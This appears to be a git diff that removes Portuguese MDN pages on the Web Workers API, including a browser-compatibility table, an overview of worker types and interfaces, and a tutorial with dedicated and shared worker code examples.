{{domxref("WindowTimers.setTimeout", "setTimeout()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}no
{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, but is a no-op.Unknownno
{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}yes, on {{domxref("DedicatedWorkerGlobalScope")}}nonoUnknownno
- -

APIs disponíveis nos workers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FunçãoFuncionalidadeSuporte no Gecko (Firefox)Support in IESupport in Blink (Chrome and Opera)Support in WebKit (Safari)
{{domxref("Broadcast_Channel_API","Broadcast Channel API")}}Allows simple communication between {{glossary("browsing context", "browsing contexts")}} (that is windows, tabs, frames, or iframes) with the same {{glossary("origin")}} (usually pages from the same site).{{ CompatGeckoDesktop(38)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("Cache", "Cache")}}Cache API provides the ability to programmatically control cache storage associated with current origin.{{CompatVersionUnknown}}{{CompatNo}}{{ CompatChrome(43) }}{{CompatUnknown}}
{{domxref("Channel_Messaging_API", "Channel Messaging API")}}Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly via two ports.{{ CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Console", "Console API")}}Provides access to the browser's debugging console (e.g., the Web Console in Firefox). The specifics of how it works vary from browser to browser, but there is a de facto set of features that are typically provided.{{ CompatGeckoDesktop(38)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("CustomEvent")}}The CustomEvent interface represents events initialized by an application for any purpose.{{ CompatGeckoDesktop(48)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Data_Store_API", "Data Store")}}A powerful, flexible storage mechanism for multiple Firefox OS applications to use to store and share data between one another quickly, efficiently, and securely.Only in Firefox OS internal (certified) applications, since v1.0.1.{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("DOMRequest")}} and {{domxref("DOMCursor")}}Respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results.{{ CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("Fetch_API", "Fetch")}}The Fetch spec provides an up-to-date definition of, and API for, fetching resources (e.g. across the network.)Mostly in {{ CompatGeckoDesktop(34)}} behind pref, although a few features are later.{{CompatNo}}{{ CompatChrome(42) }}
- {{ CompatChrome(41) }} behind pref
{{CompatNo}}
{{domxref("FileReader")}}This API allows asynchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects.{{CompatGeckoDesktop(46)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("FileReaderSync")}}This API allows synchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects. This is an API that works only in workers.{{CompatGeckoDesktop(8)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("FormData")}}FormData objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest send() method.{{CompatUnknown}} (should be in {{CompatGeckoDesktop(39)}}){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
{{domxref("ImageData")}}The underlying pixel data of an area of a {{domxref("canvas")}} element. Manipulating such data can be a complex task better suited to be delegated to a Web Worker.{{CompatGeckoDesktop(25)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("IndexedDB_API", "IndexedDB")}}Database to store records holding simple values and hierarchical objects.{{CompatGeckoDesktop(37)}},  {{CompatGeckoDesktop(42)}} for {{domxref("IDBCursorWithValue")}}.10.0{{CompatVersionUnknown}}{{CompatNo}}
Network Information APIprovides information about the system's connection in terms of general connection type (e.g., 'wifi', 'cellular', etc.).{{CompatGeckoMobile(53)}} only on mobile{{CompatVersionUnknown}} only on mobile{{CompatNo}}{{CompatNo}}
{{domxref("Notifications_API", "Notifications")}}Allows web pages to control the display of system notifications to the end user{{CompatGeckoDesktop(41)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
{{domxref("Performance")}}The Performance interface represents timing-related performance information for the given page.{{ CompatGeckoDesktop("34.0") }}{{CompatUnknown}}{{ CompatChrome("33.0") }}{{CompatUnknown}}
{{jsxref("Promise")}}JavaScript objects that allow you to write asynchronous functions.{{CompatGeckoDesktop(28)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Server-sent eventsAllows a server to push data to a web page at any point, after a connection has been opened to it.{{CompatGeckoDesktop(53)}} (currently only available in dedicated and shared workers; not service workers.){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
{{domxref("ServiceWorkerRegistration")}}You can register a service worker from inside a standard worker, and use associated functionality.{{CompatGeckoDesktop(40)}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}Create and return a new {{domxref("TextEncoder")}}, or respectively {{domxref("TextDecoder")}}, allowing to encode or decode strings into specific encodings.{{CompatGeckoDesktop(20)}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{ domxref("URL") }}Workers can use the static methods URL.createObjectURL and URL.revokeObjectURL with {{domxref("Blob")}} objects accesible to the worker.
- Workers can also create a new URL using the {{domxref("URL.URL", "URL()")}} constructor and call any normal method on the returned object.
{{CompatGeckoDesktop(21)}} and {{CompatGeckoDesktop(26)}} for URL() constructor{{CompatNo}}{{CompatNo}}{{CompatNo}}
WebGL with {{domxref("OffscreenCanvas")}}WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins.{{CompatGeckoDesktop(44)}} behind a feature preference setting. In about:config, set gfx.offscreencanvas.enabled to true.{{CompatNo}}{{CompatNo}}{{CompatNo}}
{{domxref("WebSocket")}}Creates and returns a new {{domxref("WebSocket")}}  object; this mimics the behavior of the standard WebSocket() constructor.{{CompatGeckoDesktop(37)}}11.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("Worker")}}Creates a new {{ domxref("Worker") }}. Yes, workers can spawn more workers.{{CompatGeckoDesktop("1.9.1")}}10.0{{CompatNo}} See crbug.com/31666{{CompatNo}}
{{domxref("WorkerGlobalScope")}}The global scope of workers. This objects defines worker-specific functions.{{CompatVersionUnknown}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerLocation")}}The subset of the {{domxref("Location")}} interface available to workers.{{CompatGeckoDesktop(1.9.2)}}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("WorkerNavigator")}}The subset of the {{domxref("Navigator")}} interface available to workers.Basic implementation {{CompatVersionUnknown}}
- {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}
- {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}
- {{domxref("NavigatorLanguage")}}: {{CompatVersionUnknown}}
{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appVersion")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0
- Other: {{CompatNo}}
{{CompatVersionUnknown}}{{CompatVersionUnknown}}
{{domxref("XMLHttpRequest")}}Creates and returns a new {{domxref("XMLHttpRequest")}}  object; this mimics the behavior of the standard XMLHttpRequest() constructor. Note that the responseXML and channel attributes on XMLHttpRequest always return null. -

Basic: {{CompatGeckoDesktop("1.9.1")}}

- -

{{domxref("XMLHttpRequest.response", "response")}} and {{domxref("XMLHttpRequest.responseType", "responseType")}} are available since {{CompatGeckoDesktop("10")}}

- -

{{domxref("XMLHttpRequest.timeout", "timeout")}} and {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} are available since {{CompatGeckoDesktop("13")}}

-
{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/web_workers_api/index.html b/files/pt-pt/web/api/web_workers_api/index.html deleted file mode 100644 index 9c1040b06f..0000000000 --- a/files/pt-pt/web/api/web_workers_api/index.html +++ /dev/null @@ -1,234 +0,0 @@ ---- -title: Web Workers API -slug: Web/API/Web_Workers_API -tags: - - API - - NeedsTranslation - - Service Workers - - Shared Workers - - TopicStub - - Web Workers - - Workers -translation_of: Web/API/Web_Workers_API ---- -

{{DefaultAPISidebar("Web Workers API")}}

- -

Web Workers makes it possible to run a script operation in background thread separate from the main execution thread of a web application. The advantage of this is that laborious processing can be performed in a separate thread, allowing the main (usually the UI) thread to run without being blocked/slowed down.

- -

Web Workers concepts and usage

- -

A worker is an object created using a constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. This context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}).

- -

You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under window, including WebSockets, and data storage mechanisms like IndexedDB and the Firefox OS-only Data Store API.  See Functions and classes available to workers for more details.

- -

Data is sent between workers and the main thread via a system of messages — both sides send their messages using the postMessage() method, and respond to messages via the onmessage event handler (the message is contained within the {{event("Message")}} event's data property). The data is copied rather than shared.

- -

Workers may in turn spawn new workers, as long as those workers are hosted within the same origin as the parent page.  In addition, workers may use XMLHttpRequest for network I/O, with the exception that the responseXML and channel attributes on XMLHttpRequest always return null.

- -

In addition to dedicated workers, there are other types of worker:

- -
    -
  • Shared workers are workers that can be utilized by multiple scripts running in different windows, IFrames, etc., as long as they are in the same domain as the worker. They are a little more complex than dedicated workers — scripts must communicate via an active port. See {{domxref("SharedWorker")}} for more details.
  • -
  • ServiceWorkers essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.
  • -
  • Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to js-ctypes in your worker. See {{domxref("ChromeWorker")}} for more details. 
  • -
  • Audio Workers provide the ability for direct scripted audio processing to be done inside a web worker context.
  • -
- -
-

Note: As per the Web workers Spec, worker error events should not bubble (see {{bug(1188141)}}. This has been implemented in Firefox 42.

-
- -

Web Worker interfaces

- -
-
{{domxref("AbstractWorker")}}
-
Abstracts properties and methods common to all kind of workers (i.e. {{domxref("Worker")}} or {{domxref("SharedWorker")}}).
-
{{domxref("Worker")}}
-
Represents a running worker thread, allowing you to pass messages to the running worker code.
-
{{domxref("WorkerLocation")}}
-
Defines the absolute location of the script executed by the Worker.
-
- -
-
{{domxref("SharedWorker")}}
-
Represents a specific kind of worker that can be accessed from several browsing contexts, being several windows, iframes or even workers.
-
{{domxref("WorkerGlobalScope")}}
-
Represents the generic scope of any worker (doing the same job as {{domxref("Window")}} does for normal web content). Different types of worker have scope objects that inherit from this interface and add more specific features.
-
{{domxref("DedicatedWorkerGlobalScope")}}
-
Represents the scope of a dedicated worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.
-
{{domxref("SharedWorkerGlobalScope")}}
-
Represents the scope of a shared worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.
-
{{domxref("WorkerNavigator")}}
-
Represents the identity and state of the user agent (the client):
-
- -

Examples

- -

We have created a couple of simple demos to show basic usage:

- - - -

You can find out more information on how these demos work in Using web workers.

- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#workers')}}{{Spec2('HTML WHATWG')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.9.1)}}10.010.64
Shared workers4{{CompatNo}}{{CompatGeckoDesktop(29)}}{{CompatNo}}10.64
Passing data using structured cloning13{{CompatVersionUnknown}}{{CompatGeckoDesktop(8)}}10.011.56
Passing data using  transferable objects17 {{property_prefix("webkit")}}
- 21
{{CompatNo}}{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Global {{domxref("window.URL", "URL")}}10[1]
- 23
{{CompatVersionUnknown}}{{CompatGeckoDesktop(21)}}11156[1]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44{{CompatVersionUnknown}}{{CompatGeckoMobile(1.9.1)}}1.0.110.011.55.1
Shared workers{{CompatNo}}4{{CompatNo}}291.4{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using structured cloning{{CompatNo}}4{{CompatVersionUnknown}}81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using  transferable objects{{CompatNo}}{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] As webkitURL.

- -

See also

- - diff --git a/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html b/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html deleted file mode 100644 index d0ec98c6c0..0000000000 --- a/files/pt-pt/web/api/web_workers_api/using_web_workers/index.html +++ /dev/null @@ -1,1092 +0,0 @@ ---- -title: Utilização de Web Workers -slug: Web/API/Web_Workers_API/Using_web_workers -tags: - - Avançado - - Firefox - - Guía - - JavaScript - - Operadores - - Workers -translation_of: Web/API/Web_Workers_API/Using_web_workers -original_slug: Web/API/Web_Workers_API/Utilizacao_de_web_workers ---- -
-

Web Workers é um meio simples para o conteúdo da Web para executar scripts em segmentos em segundo plano. O segmento do worker pode realizar tarefas sem interferir com a interface do utilizador. Em adição, eles podem executar I/O, utilizando XMLHttpRequest (embora e responseXML e os atributos de channel são sempre nulos). Uma vez criado, um worker pode enviar mensagens para o código JavaScript que o criou publicando mensagens para um manipulador de evento especificado por esse código (e vice-versa.) Este artigo fornece uma introdução detalhada para utilizar workers da Web.

-
- -

API de Workers da Web

- -

A worker is an object created using a constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. Thus, using the {{domxref("window")}} shortcut to get the current global scope (instead of {{domxref("window.self","self")}}) within a {{domxref("Worker")}} will return an error.

- -

The worker context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}). A dedicated worker is only accessible from the script that first spawned it, whereas shared workers can be accessed from multiple scripts.

- -
-

Nota: See The Web Workers API landing page for reference documentation on workers and additional guides.

-
- -

You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under window, including WebSockets, and data storage mechanisms like IndexedDB and the Firefox OS-only Data Store API. See Functions and classes available to workers for more details.

- -

Data is sent between workers and the main thread via a system of messages — both sides send their messages using the postMessage() method, and respond to messages via the onmessage event handler (the message is contained within the {{event("Message")}} event's data attribute.) The data is copied rather than shared.

- -

Workers may, in turn, spawn new workers, as long as those workers are hosted within the same origin as the parent page. In addition, workers may use XMLHttpRequest for network I/O, with the exception that the responseXML and channel attributes on XMLHttpRequest always return null.

- -

Workers dedicados

- -

As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the JavaScript found in our Basic dedicated worker example (run dedicated worker): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed.

- -

This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered later on in the article.

- -

Detecção da funcionalidade worker

- -

For slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js):

- -
if (window.Worker) {
-
-  ...
-
-}
- -

Geração de um worker dedicado

- -

Creating a new worker is simple. All you need to do is call the {{domxref("Worker.Worker", "Worker()")}} constructor, specifying the URI of a script to execute in the worker thread (main.js):

- -
-
var myWorker = new Worker('worker.js');
-
-
- -

Enviar mensagens para /e de um worker dedicado

- -

The magic of workers happens via the {{domxref("Worker.postMessage", "postMessage()")}} method and the {{domxref("Worker.onmessage", "onmessage")}} event handler. When you want to send a message to the worker, you post messages to it like this (main.js):

- -
first.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
-
-second.onchange = function() {
-  myWorker.postMessage([first.value,second.value]);
-  console.log('Message posted to worker');
-}
- -

So here we have two {{htmlelement("input")}} elements represented by the variables first and second; when the value of either is changed, myWorker.postMessage([first.value,second.value]) is used to send the value inside both to the worker, as an array. You can send pretty much anything you like in the message.

- -

In the worker, we can respond when the message is received by writing an event handler block like this (worker.js):

- -
onmessage = function(e) {
-  console.log('Message received from main script');
-  var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-  console.log('Posting message back to main script');
-  postMessage(workerResult);
-}
- -

The onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute. Here we simply multiply together the two numbers then use postMessage() again, to post the result back to the main thread.

- -

Back in the main thread, we use onmessage again, to respond to the message sent back from the worker:

- -
myWorker.onmessage = function(e) {
-  result.textContent = e.data;
-  console.log('Message received from worker');
-}
- -

Here we grab the message event data and set it as the textContent of the result paragraph, so the user can see the result of the calculation.

- -
-

Nota: The URI passed as a parameter to the Worker constructor must obey the same-origin policy .

- -

There is currently disagreement among browsers vendors on what URIs are of the same-origin; Gecko 10.0 {{geckoRelease("10.0")}} and later do allow data URIs and Internet Explorer 10 does not allow Blob URIs as a valid script for workers.

-
- -
Nota: Notice that onmessage and postMessage() need to be hung off the Worker object when used in the main script thread, but not when used in the worker. This is because, inside the worker, the worker is effectively the global scope.
- -
Nota: When a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. Read {{anch("Transferring data to and from workers further details", "Transferring data to and from workers: further details")}} for a much more thorough explanation.
- -

Terminar um worker

- -

If you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's {{domxref("Worker", "terminate")}} method:

- -
myWorker.terminate();
- -

The worker thread is killed immediately without an opportunity to complete its operations or clean up after itself.

- -

In the worker thread, workers may close themselves by calling their own {{domxref("WorkerGlobalScope", "close")}} method:

- -
close();
- -

Lidar com erros

- -

When a runtime error occurs in the worker, its onerror event handler is called. It receives an event named error which implements the ErrorEvent interface.

- -

The event doesn't bubble and is cancelable; to prevent the default action from taking place, the worker can call the error event's preventDefault() method.

- -

The error event has the following three fields that are of interest:

- -
-
message
-
A human-readable error message.
-
filename
-
The name of the script file in which the error occurred.
-
lineno
-
The line number of the script file on which the error occurred.
-
- -

Gerar subworkers

- -

Workers may spawn more workers if they wish. So-called sub-workers must be hosted within the same origin as the parent page. Also, the URIs for subworkers are resolved relative to the parent worker's location rather than that of the owning page. This makes it easier for workers to keep track of where their dependencies are.

- -

Importar scripts e bibliotecas

- -

Worker threads have access to a global function, importScripts(), which lets them import scripts. It accepts zero or more URIs as parameters to resources to import; all of the following examples are valid:

- -
importScripts();                         /* imports nothing */
-importScripts('foo.js');                 /* imports just "foo.js" */
-importScripts('foo.js', 'bar.js');       /* imports two scripts */
-importScripts('//example.com/hello.js'); /* You can import scripts from other origins */
- -

The browser loads each listed script and executes it. Any global objects from each script may then be used by the worker. If the script can't be loaded, NETWORK_ERROR is thrown, and subsequent code will not be executed. Previously executed code (including code deferred using {{domxref("window.setTimeout()")}}) will still be functional though. Function declarations after the importScripts() method are also kept, since these are always evaluated before the rest of the code.

- -
Note: Scripts may be downloaded in any order, but will be executed in the order in which you pass the filenames into importScripts() . This is done synchronously; importScripts() does not return until all the scripts have been loaded and executed.
- -

Shared workers (Partilhados)

- -

A shared worker is accessible by multiple scripts — even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the JavaScript found in our Basic shared worker example (run shared worker): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: multiplying two numbers, or squaring a number. Both scripts use the same worker to do the actual calculation required.

- -

Here we'll concentrate on the differences between dedicated and shared workers. Note that in this example we have two HTML pages, each with JavaScript applied that uses the same single worker file.

- -
-

Nota: If SharedWorker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port).

-
- -
-

Nota: In Firefox, shared workers cannot be shared between documents loaded in private and non-private windows ({{bug(1177621)}}).

-
- -

Gerar um shared worker

- -

Spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following:

- -
var myWorker = new SharedWorker('worker.js');
- -

One big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).

- -

The port connection needs to be started either implicitly by use of the onmessage event handler or explicitly with the start() method before any messages can be posted. Although the multiply.js and worker.js files in the demo currently call the start() method, those calls are not necessary since the onmessage event handler is being used. Calling start() is only needed if the message event is wired up via the addEventListener() method.

- -

When using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.

- -
myWorker.port.start();  // called in parent thread
- -
port.start();  // called in worker thread, assuming the port variable references a port
- -

Enviar mensagens para/e de um shared worker

- -

Now messages can be sent to the worker as before, but the postMessage() method has to be invoked through the port object (again, you'll see similar constructs in both multiply.js and square.js):

- -
squareNumber.onchange = function() {
-  myWorker.port.postMessage([squareNumber.value,squareNumber.value]);
-  console.log('Message posted to worker');
-}
- -

Now, on to the worker. There is a bit more complexity here as well (worker.js):

- -
onconnect = function(e) {
-  var port = e.ports[0];
-
-  port.onmessage = function(e) {
-    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-    port.postMessage(workerResult);
-  }
-}
- -

First, we use an onconnect handler to fire code when a connection to the port happens (i.e. when the onmessage event handler in the parent thread is setup, or when the start() method is explicitly called in the parent thread).

- -

We use the ports attribute of this event object to grab the port and store it in a variable.

- -

Next, we add a message handler on the port to do the calculation and return the result to the main thread. Setting up this message handler in the worker thread also implicitly opens the port connection back to the parent thread, so the call to port.start() is not actually needed, as noted above.

- -

Finally, back in the main script, we deal with the message (again, you'll see similar constructs in both multiply.js and square.js):

- -
myWorker.port.onmessage = function(e) {
-  result2.textContent = e.data;
-  console.log('Message received from worker');
-}
- -

When a message comes back through the port from the worker, we check what result type it is, then insert the calculation result inside the appropriate result paragraph.

- -

Sobre a segurança de segmento

- -

The {{domxref("Worker")}} interface spawns real OS-level threads, and mindful programmers may be concerned that concurrency can cause “interesting” effects in your code if you aren't careful.

- -

However, since web workers have carefully controlled communication points with other threads, it's actually very hard to cause concurrency problems. There's no access to non-threadsafe components or the DOM. And you have to pass specific data in and out of a thread through serialized objects. So you have to work really hard to cause problems in your code.

- -

An example of a catastrophy would be like the following:

- -

Conteúdo HTML

- -
<html>
-<head>
-<title>Multithreading Catastrophy</title>
-<style>
-body { margin: 0px; }
-canvas { position: absolute; top: 0; bottom: 0; left: 0; right:0; width: 100%; height: 100%; }
-</style>
-<script src="main.js" async></script>
-</head>
-<body>
-<canvas id="canvas"></canvas>
-</body>
-</html>
- -

Conteúdo main.js

- -
// main.js
-var myworker = new Worker("worker.js"), width=window.innerWidth, height=window.innerHeight, context=document.getElementById('canvas').getContext('2d');
-var imagedatatmp=context.createImageData(width,height);
-
-myworker.onmessage = function(data){
-    imageData = imagedatatmp.from(data);
-};
-
-setTimeout(function draw_canvas() {
-    context.putImageData(imageData);
-    setTimeout(draw_canvas, 1000/60);
-},10);
-
-window.onresize = window.reload; // Quick (to type) n' dirty way to resize;
- -

Conteúdo worker.js

- -
// worker.js
-window.onmessage = function(width, height){
-var noise = function(x, y, z) {
-    var p = new Array(512), permutation = [151,160,137,91,90,15,131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10,23,190, 6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,88,237,149,56,87,174,20,125,136,171,168, 68,175,74,165,71,134,139,48,27,166,77,146,158,231,83,111,229,122,60,211,133,230,220,105,92,41,55,46,245,40,244,102,143,54, 65,25,63,161, 1,216,80,73,209,76,132,187,208, 89,18,169,200,196,135,130,116,188,159,86,164,100,109,198,173,186, 3,64,52,217,226,250,124,123,5,202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,223,183,170,213,119,248,152, 2,44,154,163, 70,221,153,101,155,167, 43,172,9,129,22,39,253, 19,98,108,110,79,113,224,232,178,185, 112,104,218,246,97,228,251,34,242,193,238,210,144,12,191,179,162,241, 81,51,145,235,249,14,239,107,49,192,214, 31,181,199,106,157,184, 84,204,176,115,121,50,45,127, 4,150,254,138,236,205,93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180];
-    for (var i = 0;i < 256;i++) p[256 + i] = p[i] = permutation[i];
-    var X = Math.floor(x) & 255, Y = Math.floor(y) & 255, Z = Math.floor(z) & 255; x -= Math.floor(x), y -= Math.floor(y), z -= Math.floor(z);
-    var u = fade(x), v = fade(y), w = fade(z);
-    var A = p[X] + Y, AA = p[A] + Z, AB = p[A + 1] + Z, B = p[X + 1] + Y, BA = p[B] + Z, BB = p[B + 1] + Z;
-    return scale(lerp(w, lerp(v, lerp(u, grad(p[AA], x, y, z), grad(p[BA], x - 1, y, z)), lerp(u, grad(p[AB], x, y - 1, z), grad(p[BB], x - 1, y - 1, z))), lerp(v, lerp(u, grad(p[AA + 1], x, y, z - 1), grad(p[BA + 1], x - 1, y, z - 1)), lerp(u, grad(p[AB + 1], x, y - 1, z - 1), grad(p[BB + 1], x - 1, y - 1, z - 1)))));
-};
-  function fade(t) { return t * t * t * (t * (t * 6 - 15) + 10); }
-  function lerp(t, a, b) { return a + t * (b - a); }
-  function grad(hash, x, y, z) {
-    var h = hash & 15; var u = h < 8 ? x : y, v = h < 4 ? y : h == 12 || h == 14 ? x : z;
-    return ((h & 1) == 0 ? u : -u) + ((h & 2) == 0 ? v : -v);
-  }
-  function scale(n) { return (1 + n) / 2; }
-var length = width*height; var canvasnoisedata=new UInt32Array(length);
-
-setTimeout(function make_noise() {
-var i=length, z=Math.random()*1024;
-  while ( i-- ) {
-      canvasnoisedata[i] = noise(i%width+z,i/width+z,z);
-  }
-  setTimeout(make_noise, 1000/60);
-},1000/60);
-
-setTimeout(function post_noise() {
-    postMessage( canvasnoisedata );
-    setTimeout(post_noise, 1000/60);
-},1000/60);
-};
-
- -

Resultado

- -

{{ EmbedLiveSample('ats.html') }}

- -

Política de segurança de conteúdo

- -

Workers are considered to have their own execution context, distinct from the document that created them. For this reason they are, in general, not governed by the content security policy of the document (or parent worker) that created them. So for example, suppose a document is served with the following header:

- -
Content-Security-Policy: script-src 'self'
- -
Among other things, this will prevent any scripts it includes from using eval(). However, if the script constructs a worker, code running in the worker's context will be allowed to use eval().
-
-To specify a content security policy for the worker, set a Content-Security-Policy response header for the request which delivered the worker script itself.
-
-The exception to this is if the worker script's origin is a globally unique identifier (for example, if its URL has a scheme of data or blob). In this case, the worker does inherit the CSP of the document or worker that created it.
- -
 
- -

Transferir dados para/e de workers: detalhes adicionais

- -

Data passed between the main page and workers is copied, not shared. Objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. The page and worker do not share the same instance, so the end result is that a duplicate is created on each end. Most browsers implement this feature as structured cloning.

- -

To illustrate this, let's create for didactical purpose a function named emulateMessage(), which will simulate the behavior of a value that is cloned and not shared during the passage from a worker to the main page or vice versa:

- -
function emulateMessage(vVal) {
-    return eval('(' + JSON.stringify(vVal) + ')');
-}
-
-// Tests
-
-// test #1
-var example1 = new Number(3);
-console.log(typeof example1); // object
-console.log(typeof emulateMessage(example1)); // number
-
-// test #2
-var example2 = true;
-console.log(typeof example2); // boolean
-console.log(typeof emulateMessage(example2)); // boolean
-
-// test #3
-var example3 = new String('Hello World');
-console.log(typeof example3); // object
-console.log(typeof emulateMessage(example3)); // string
-
-// test #4
-var example4 = {
-    'name': 'John Smith',
-    "age": 43
-};
-console.log(typeof example4); // object
